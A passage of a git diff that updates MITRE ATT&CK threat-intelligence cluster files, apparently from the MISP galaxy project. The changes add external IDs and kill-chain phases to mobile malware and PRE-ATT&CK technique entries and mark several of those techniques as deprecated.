"type": "mitre-mobile-attack-intrusion-set",
"description": "Name of ATT&CK Group",
- "version": 2,
+ "version": 3,
"source": "https://github.com/mitre/cti",
"uuid": "02ab4018-1708-11e8-8f9d-e735aabdfa53",
"authors": [
@@ -29,7 +29,8 @@
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
"https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
- ]
+ ],
+ "external_id": "G0007"
},
"uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c"
}
diff --git a/clusters/mitre-mobile-attack-malware.json b/clusters/mitre-mobile-attack-malware.json
index 6c746fe..76e1e8b 100644
--- a/clusters/mitre-mobile-attack-malware.json
+++ b/clusters/mitre-mobile-attack-malware.json
@@ -2,7 +2,7 @@
"name": "Mobile Attack - Malware",
"type": "mitre-mobile-attack-malware",
"description": "Name of ATT&CK software",
- "version": 2,
+ "version": 3,
"source": "https://github.com/mitre/cti",
"uuid": "04a165aa-1708-11e8-b2da-c7d7625f4a4f",
"authors": [
@@ -17,6 +17,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0008",
"https://blog.lookout.com/blog/2016/05/25/spoofed-apps/"
],
+ "external_id": "MOB-S0008",
"synonyms": [
"AndroRAT"
]
@@ -31,6 +32,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0023",
"https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/"
],
+ "external_id": "MOB-S0023",
"synonyms": [
"Trojan-SMS.AndroidOS.Agent.ao"
]
@@ -44,6 +46,7 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0031"
],
+ "external_id": "MOB-S0031",
"synonyms": [
"DualToy"
]
@@ -58,6 +61,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0004",
"http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/"
],
+ "external_id": "MOB-S0004",
"synonyms": [
"KeyRaider"
]
@@ -73,6 +77,7 @@
"http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/",
"https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/"
],
+ "external_id": "MOB-S0009",
"synonyms": [
"BrainTest"
]
@@ -87,6 +92,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0010",
"https://blog.lookout.com/blog/2015/11/04/trojanized-adware/"
],
+ "external_id": "MOB-S0010",
"synonyms": [
"Shedun",
"Shuanet",
@@ -104,6 +110,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0016",
"http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/"
],
+ "external_id": "MOB-S0016",
"synonyms": [
"DressCode"
]
@@ -119,6 +126,7 @@
"https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html",
"http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534"
],
+ "external_id": "MOB-S0025",
"synonyms": [
"Adups"
]
@@ -134,6 +142,7 @@
"https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf",
"https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
],
+ "external_id": "MOB-S0005",
"synonyms": [
"Pegasus"
]
@@ -148,6 +157,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0029",
"https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html"
],
+ "external_id": "MOB-S0029",
"synonyms": [
"RuMMS"
]
@@ -162,6 +172,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0038",
"http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/"
],
+ "external_id": "MOB-S0038",
"synonyms": [
"HummingBad"
]
@@ -176,6 +187,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0024",
"https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/"
],
+ "external_id": "MOB-S0024",
"synonyms": [
"Trojan-SMS.AndroidOS.OpFake.a"
]
@@ -190,6 +202,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0017",
"https://blog.lookout.com/blog/2014/03/06/dendroid/"
],
+ "external_id": "MOB-S0017",
"synonyms": [
"Dendroid"
]
@@ -204,6 +217,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0019",
"https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/"
],
+ "external_id": "MOB-S0019",
"synonyms": [
"MazarBOT"
]
@@ -219,6 +233,7 @@
"http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/",
"https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi"
],
+ "external_id": "MOB-S0006",
"synonyms": [
"Gooligan"
]
@@ -233,6 +248,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0001",
"http://thehackernews.com/2014/01/first-widely-distributed-android.html"
],
+ "external_id": "MOB-S0001",
"synonyms": [
"OldBoot"
]
@@ -246,6 +262,7 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0028"
],
+ "external_id": "MOB-S0028",
"synonyms": [
"WireLurker"
]
@@ -261,6 +278,7 @@
"https://www.zscaler.com/blogs/research/super-mario-run-malware-2-–-droidjack-rat",
"https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app"
],
+ "external_id": "MOB-S0036",
"synonyms": [
"DroidJack RAT"
]
@@ -275,6 +293,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0037",
"http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/"
],
+ "external_id": "MOB-S0037",
"synonyms": [
"HummingWhale"
]
@@ -289,6 +308,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0026",
"http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/"
],
+ "external_id": "MOB-S0026",
"synonyms": [
"ANDROIDOS_ANSERVER.A"
]
@@ -303,6 +323,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0022",
"https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/"
],
+ "external_id": "MOB-S0022",
"synonyms": [
"Trojan-SMS.AndroidOS.FakeInst.a"
]
@@ -317,6 +338,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0015",
"https://blog.lookout.com/blog/2014/11/19/notcompatible/"
],
+ "external_id": "MOB-S0015",
"synonyms": [
"NotCompatible"
]
@@ -331,6 +353,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0030",
"https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf"
],
+ "external_id": "MOB-S0030",
"synonyms": [
"X-Agent"
]
@@ -345,6 +368,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0018",
"http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/"
],
+ "external_id": "MOB-S0018",
"synonyms": [
"Twitoor"
]
@@ -359,6 +383,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0002",
"http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/"
],
+ "external_id": "MOB-S0002",
"synonyms": [
"OBAD"
]
@@ -373,6 +398,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0020",
"https://securelist.com/blog/incidents/35552/android-trojan-found-in-targeted-attack-58/"
],
+ "external_id": "MOB-S0020",
"synonyms": [
"Android/Chuli.A"
]
@@ -387,6 +413,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0007",
"https://blog.lookout.com/blog/2016/05/25/spoofed-apps/"
],
+ "external_id": "MOB-S0007",
"synonyms": [
"PJApps"
]
@@ -401,6 +428,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0012",
"https://www.fireeye.com/blog/threat-research/2016/06/latest-android-overlay-malware-spreading-in-europe.html"
],
+ "external_id": "MOB-S0012",
"synonyms": [
"AndroidOverlayMalware"
]
@@ -415,6 +443,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0003",
"http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/"
],
+ "external_id": "MOB-S0003",
"synonyms": [
"ZergHelper"
]
@@ -429,6 +458,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0021",
"https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app"
],
+ "external_id": "MOB-S0021",
"synonyms": [
"SpyNote RAT"
]
@@ -443,6 +473,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0011",
"https://github.com/hackedteam/core-android/tree/master/RCSAndroid"
],
+ "external_id": "MOB-S0011",
"synonyms": [
"RCSAndroid"
]
@@ -457,6 +488,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0039",
"http://blog.checkpoint.com/2017/01/24/charger-malware/"
],
+ "external_id": "MOB-S0039",
"synonyms": [
"Charger"
]
@@ -470,6 +502,7 @@
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0027"
],
+ "external_id": "MOB-S0027",
"synonyms": [
"YiSpecter"
]
@@ -485,6 +518,7 @@
"https://blog.lookout.com/blog/2017/04/03/pegasus-android/",
"https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html"
],
+ "external_id": "MOB-S0032",
"synonyms": [
"Pegasus for Android",
"Chrysaor"
@@ -501,6 +535,7 @@
"http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/",
"http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/"
],
+ "external_id": "MOB-S0013",
"synonyms": [
"XcodeGhost"
]
diff --git a/clusters/mitre-mobile-attack-tool.json b/clusters/mitre-mobile-attack-tool.json
index 8573ee1..af67dbd 100644
--- a/clusters/mitre-mobile-attack-tool.json
+++ b/clusters/mitre-mobile-attack-tool.json
@@ -2,7 +2,7 @@
"name": "Mobile Attack - Tool",
"type": "mitre-mobile-attack-tool",
"description": "Name of ATT&CK software",
- "version": 2,
+ "version": 3,
"source": "https://github.com/mitre/cti",
"uuid": "02cee87e-1708-11e8-8f15-8b33e4d6194b",
"authors": [
@@ -17,6 +17,7 @@
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0014",
"http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/"
],
+ "external_id": "MOB-S0014",
"synonyms": [
"Xbot"
]
diff --git a/clusters/mitre-pre-attack-attack-pattern.json b/clusters/mitre-pre-attack-attack-pattern.json
index da91410..975ef6b 100644
--- a/clusters/mitre-pre-attack-attack-pattern.json
+++ b/clusters/mitre-pre-attack-attack-pattern.json
@@ -2,7 +2,7 @@
"name": "Pre Attack - Attack Pattern",
"type": "mitre-pre-attack-attack-pattern",
"description": "ATT&CK tactic",
- "version": 2,
+ "version": 3,
"source": "https://github.com/mitre/cti",
"uuid": "03c13bec-1708-11e8-92a0-a747c0787089",
"authors": [
@@ -15,6 +15,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1170"
+ ],
+ "external_id": "PRE-T1170",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:test-capabilities"
]
},
"uuid": "c9e85b80-39e8-42df-b275-86a2afcea9e8"
@@ -25,6 +29,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1108"
+ ],
+ "external_id": "PRE-T1108",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "72c8d526-1247-42d4-919c-6d7a31ca8f39"
@@ -35,6 +43,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1116"
+ ],
+ "external_id": "PRE-T1116",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "a425598d-7c19-40f7-9aa3-ac20f0d5c2b2"
@@ -45,6 +57,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1073"
+ ],
+ "external_id": "PRE-T1073",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:people-weakness-identification"
]
},
"uuid": "d69c3e06-8311-4093-8e3e-0a8e06b15d92"
@@ -55,6 +71,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1012"
+ ],
+ "external_id": "PRE-T1012",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "7863b7f1-c18a-4aad-a6cf-4aa6d8797531"
@@ -65,6 +85,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1112"
+ ],
+ "external_id": "PRE-T1112",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "2141aea0-cf38-49aa-9e51-ac34092bc30a"
@@ -75,6 +99,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1040"
+ ],
+ "external_id": "PRE-T1040",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "04e93ca1-8415-4a46-8549-73b7c84f8dc3"
@@ -85,6 +113,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1007"
+ ],
+ "external_id": "PRE-T1007",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "15d5eaa4-597a-47fd-a692-f2bed434d904"
@@ -95,16 +127,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1100"
+ ],
+ "external_id": "PRE-T1100",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "274164c6-4297-42d4-84b5-2369e51013fe"
},
{
- "description": "The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.",
"value": "Leverage compromised 3rd party resources - PRE-T1152",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1152"
+ ],
+ "external_id": "PRE-T1152",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "2c8a9df4-52a9-4770-94b3-5e95ab7d59f9"
@@ -115,6 +155,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1135"
+ ],
+ "external_id": "PRE-T1135",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:test-capabilities"
]
},
"uuid": "a16e4004-caac-4a0b-acd5-486f8fda1665"
@@ -125,16 +169,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1025"
+ ],
+ "external_id": "PRE-T1025",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "c721b235-679a-4d76-9ae9-e08921fccf84"
},
{
- "description": "Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.",
"value": "Spear phishing messages with malicious attachments - PRE-T1144",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1144"
+ ],
+ "external_id": "PRE-T1144",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "e24a9f99-cb76-42a3-a50b-464668773e97"
@@ -145,6 +197,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1115"
+ ],
+ "external_id": "PRE-T1115",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "54a42187-a20c-4e4e-ba31-8d15c9e1f57f"
@@ -155,6 +211,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1081"
+ ],
+ "external_id": "PRE-T1081",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "b14f6692-b613-44bb-9f30-8381a5ff10d5"
@@ -165,6 +225,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1027"
+ ],
+ "external_id": "PRE-T1027",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "23ecb7e0-0340-43d9-80a5-8971fe866ddf"
@@ -175,26 +239,38 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1128"
+ ],
+ "external_id": "PRE-T1128",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:build-capabilities"
]
},
"uuid": "9755ecdc-deb0-40e6-af49-713cb0f8ed92"
},
{
- "description": "A technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.",
"value": "Push-notification client-side exploit - PRE-T1150",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1150"
+ ],
+ "external_id": "PRE-T1150",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "702dc95d-3266-42dc-9eef-4a19e2445148"
},
{
- "description": "Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nClicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.",
"value": "Authorized user performs requested cyber action - PRE-T1163",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1163"
+ ],
+ "external_id": "PRE-T1163",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:compromise"
]
},
"uuid": "0440f60f-9056-4791-a740-8eae96eb61fa"
@@ -205,6 +281,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1014"
+ ],
+ "external_id": "PRE-T1014",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-direction"
]
},
"uuid": "03da0598-ed46-4a73-bf43-0313b3522400"
@@ -215,6 +295,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1099"
+ ],
+ "external_id": "PRE-T1099",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "31fa5b03-1ede-4fab-8a68-ed831fcf4899"
@@ -225,6 +309,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1008"
+ ],
+ "external_id": "PRE-T1008",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:priority-definition-planning"
]
},
"uuid": "ec739e26-d097-4804-b04a-54dd81ff11e0"
@@ -235,16 +323,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1075"
+ ],
+ "external_id": "PRE-T1075",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-weakness-identification"
]
},
"uuid": "1def484d-2343-470d-8925-88f45b5f9615"
},
{
- "description": "Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nAttempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.",
"value": "Authentication attempt - PRE-T1158",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1158"
+ ],
+ "external_id": "PRE-T1158",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4"
@@ -255,6 +351,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1103"
+ ],
+ "external_id": "PRE-T1103",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "aadaee0d-794c-4642-8293-7ec22a99fb1a"
@@ -265,6 +365,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1077"
+ ],
+ "external_id": "PRE-T1077",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:organizational-weakness-identification"
]
},
"uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc"
@@ -275,16 +379,24 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1031"
+ ],
+ "external_id": "PRE-T1031",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "7f2d3da6-7e34-44a3-9e7f-905455339726"
},
{
- "description": "A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.",
+ "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.",
"value": "Unconditional client-side exploitation/Injected Website/Driveby - PRE-T1149",
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1149"
+ ],
+ "external_id": "PRE-T1149",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:launch"
]
},
"uuid": "58d0b955-ae3d-424a-a537-2804dab38793"
@@ -295,6 +407,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1069"
+ ],
+ "external_id": "PRE-T1069",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-weakness-identification"
]
},
"uuid": "57061a8a-d7c5-42a9-be60-f79526b95bf6"
@@ -305,6 +421,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1102"
+ ],
+ "external_id": "PRE-T1102",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
"uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30"
@@ -315,6 +435,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1026"
+ ],
+ "external_id": "PRE-T1026",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:technical-information-gathering"
]
},
"uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1"
@@ -325,6 +449,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1106"
+ ],
+ "external_id": "PRE-T1106",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
]
},
"uuid": "795c1a92-3a26-453e-b99a-6a566aa94dc6"
@@ -335,6 +463,10 @@
"meta": {
"refs": [
"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1096"
+ ],
+ "external_id": "PRE-T1096",
+ "kill_chain": [
+ "mitre-pre-attack:pre-attack:adversary-opsec"
]
},
